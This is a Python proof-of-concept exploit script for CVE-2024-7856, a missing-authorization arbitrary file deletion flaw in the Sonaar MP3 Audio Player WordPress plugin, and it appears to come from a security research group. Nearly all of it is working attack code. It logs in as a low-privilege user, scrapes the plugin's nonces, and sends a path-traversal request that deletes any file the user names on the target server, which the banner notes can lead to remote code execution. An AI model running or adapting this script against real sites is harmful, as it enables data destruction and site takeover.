import requests from bs4 import BeautifulSoup from urllib.parse import urlparse import time import sys import re import rich_click as click requests.packages.urllib3.disable_warnings( requests.packages.urllib3.exceptions.InsecureRequestWarning ) banner = r""" -*#. ....=*#*. :+%=.=* +@**%=--=@#%*. .##===-:@ :@-------*#..:@ -@+-. .-=@. -#-=%#+=-+%=...:-@@%%#*+-. .** =#:..:*@%*+=-....-=*#:-=+***=@ +#...:=::-=++++*****%:.....:=#*- :#+.:-=*##+-:...................=%=. .#@:-#%+:...........................=@: +#:*#-:...............................:%+ .%=.......................................** .%=..............................-.........:%- *+............................+**+..........:@ :@........:-::.................:..............%: ...::.... ... +*........-+*%%...................:++.........=# +@@@@@@@@@@@%: .:*@@@@@@@@#-. .-+#@@@%#*+: *+...............................=@:..........:@ :@@@@@@@@@@@@@@ .%@@@@@@@@@@@@@. #@@@@@@@@@@@@% *+..........+##:.............:*=:*#%%.........-% -@@@@@@@@@@@@@@.#@@@@@@@@@@@@@@.+@@@@@@@@@@@@@@- +*.........*:-@@.....:*%###.:@++%=......::::..#*- -=+*****@@@@@@.#@@@%::::=@@@@@.*@@@@=---*@@@@@- :@.........-#@%+.....##--=@::@=-##...:::::::**@++@: :------%@@@@@ %@@@% *@@@@@.#@@@% -@@@@@- :==%+..................-@=-=@..*##@....::::::@=-=--#= .#@@@@@@@@@@@@# %@@@@----%@@@@@.#@@@@::::*@@@@@- =%-=@%#-::::::::.........:%*#+..@--@....::::::*%+==*% #@@@@@@@@@@@@@: %@@@@@@@@@@@@@@.*@@@@@@@@@@@@@@: +#----=@:::::::::........:::::::@.+#::..::::::@- -++ %@@@@@@@@@@%*. =@@@@@@@@@@@@@@ =@@@@@@@@@@@@@@. *#+*%%%+::::::::.......=@=-----=+***#@%+...*# %@@@@# .-+++++@@@@@@ .=*#%@@@@@@@@@. ::.. -%=:::-++-.:=:.-%::::::::::::::-=@#*: %@@@@@%%%%%%%%= %@@@@# %@@@@% .=#*-@*=+#@+*#+@-::==:::::::::::@*#* *@@@@@@@@@@@@@+ @@@@@+ %@@@@# .-+++--%%*==----=###%*==**+******#%#+#* *@@@@@@@@@@@@: %@@@@- %@@@@+ =%+--:=%=@@**####**%@#............@*%%: :=========: =***= =###*. =#---:..=%#*.......-@@#...........:@..:#* #-.:@-..*#%-=.......:@**#%@@@%#++=*%-...-% =%@=.:=#%@@#@==%:.....-@**#%%%#**++==-::@.:@ -%-+%:---:::-*#.-*#*+*#*. ...:-*@@#*==%- .@=-+%=-:...:-%=...:::. :@**%@#- -%=-=##=:..:--@-...... ..:....:#= :%+---*%*---=%......... .-.......:@. -@*----=*%@*....=%*=-::-=*@%=......+@ Author: EQST(Experts, Qualified Security Team) .=%%*=--**.....::=@#*@*.-+#@%%%%+. Github: https://github.com/EQSTLab .:-=++#*:...-#+.::. :=+++=. Analysis base : https://www.wordfence.com/blog/2024/09/critical-arbitrary-file-deletion-vulnerability-in-mp3-audio-player-wordpress-plugin-affects-over-20000-sites/ ============================================================================================================= CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – Missing Authorization to Authenticated (Subscriber+) Arbitrary File Deletion Researcher: Arkadiusz Hydzik description: The MP3 Audio Player Music Player, Podcast Player & Radio by Sonaar plugin for WordPress is vulnerable to unauthorized arbitrary file deletion due to a missing capability check on the removeTempFiles() function and insufficient path validation on the 'file' parameter in all versions up to, and including, 5.7.0.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files which can make remote code execution possible when wp-config.php is deleted. ============================================================================================================= """ class MP3APExploit: def __init__(self, url: str, file: str, id: str, pw: str): self.url = url self.file = file self.id = id self.pw = pw self.cookie = '' self.base_Url = '' self.nonces = {} def greeting() -> None: print(banner) def spinner(duration=10, interval=0.1) -> None: spinner_chars = ['|', '/', '-', '\\'] end_time = time.time() + duration while time.time() < end_time: for char in spinner_chars: sys.stdout.write(f'\r[{char}] Exploit loading, please wait...') sys.stdout.flush() time.sleep(interval) print("") def getBaseUrl(self, url): parsed_url = urlparse(url) base_url = f"{parsed_url.scheme}://{parsed_url.netloc}" return base_url def getLogin(self) -> str: id = self.id pw = self.pw # No id or No pw args if not id or not pw: print(">>> Please Login:") id = input(" ID > ") pw = input(" PW > ") self.base_Url = self.getBaseUrl(self.url) login_Url = self.base_Url +'/wp-login.php' # Invalid Input if not id or not pw: print("[-] Invalid input") exit() print(f"[+] Try Login : ID = {id}, PW = {pw}") headers = { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie': 'wordpress_test_cookie=WP%20Cookie%20check' } data = { 'log': id, 'pwd': pw, 'wp-submit': 'Log In' } response = requests.post(login_Url, headers=headers, data=data, allow_redirects=False) # Invalid try if response.status_code != 302: print("[-] Login Failed") exit() cookie_header = '; '.join([f"{cookie.name}={cookie.value}" for cookie in response.cookies]) self.cookie = cookie_header #print(self.cookie) print("[+] Login Success") def getNonce(self) -> dict: self.getLogin() nonce_Url = self.base_Url +'/wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_' headers = { 'Cookie': self.cookie } response = requests.get(nonce_Url, headers=headers) res_Text = response.text soup = BeautifulSoup(res_Text, 'html.parser') try: print('[+] Finding nonces') script_tag = soup.find('script', {'id': 'sonaar-admin-js-extra'}) script_content = script_tag.string ajax_nonce = re.search(r'"ajax_nonce":"(.*?)"', script_content).group(1) ajax_nonce_peaks = re.search(r'"ajax_nonce_peaks":"(.*?)"', script_content).group(1) except Exception as e: print('[-] Parsing Failed', e) self.nonces = {'ajax_nonce': ajax_nonce, 'ajax_nonce_peaks': ajax_nonce_peaks} print(f"[+] Nonce Value: {self.nonces}") def updateAudioPeaks(self) -> None: print('[+] Creating audio_peaks dir') ajax_Url = self.base_Url +'/wp-admin/admin-ajax.php' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': self.cookie } data = { 'action': 'update_audio_peaks', 'nonce': self.nonces['ajax_nonce_peaks'], 'post_id': '1', 'media_id': '1', 'index': '1', 'file': 'aaa', 'is_temp': '1', 'is_preview': '1', 'preak_file_type': 'aaa' } response = requests.post(ajax_Url, headers=headers, data=data) def removeFile(self) -> None: print('[+] Removing File') ajax_Url = self.base_Url +'/wp-admin/admin-ajax.php' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': self.cookie } data = { 'action': 'removeTempFiles', 'nonce': self.nonces['ajax_nonce'], 'is_temp': '1', 'file': '/var/www/html/wp-content/uploads/audio_peaks/../../../../../..'+self.file } response = requests.post(ajax_Url, headers=headers, data=data) def exploit(self) -> None: self.getNonce() self.updateAudioPeaks() self.removeFile() # argument parsing with rich_click @click.command() @click.option( "-u", "--url", required=True, help="Specify a URL or domain for vulnerability detection (Donation-Form Page)", ) @click.option( "-f", "--file", default="/tmp/test", help="Specify the file to read from the server", ) @click.option( "-i", "--id", default="", help="WordPress User ID", ) @click.option( "-p", "--pw", default="", help="WordPress User PassWord", ) def main(url: str, file: str, id: str, pw: str) -> None: MP3APExploit.greeting() MP3APExploit.spinner(duration=1) Mp3exploit = MP3APExploit(url, file, id, pw) Mp3exploit.exploit() if __name__ == "__main__": main()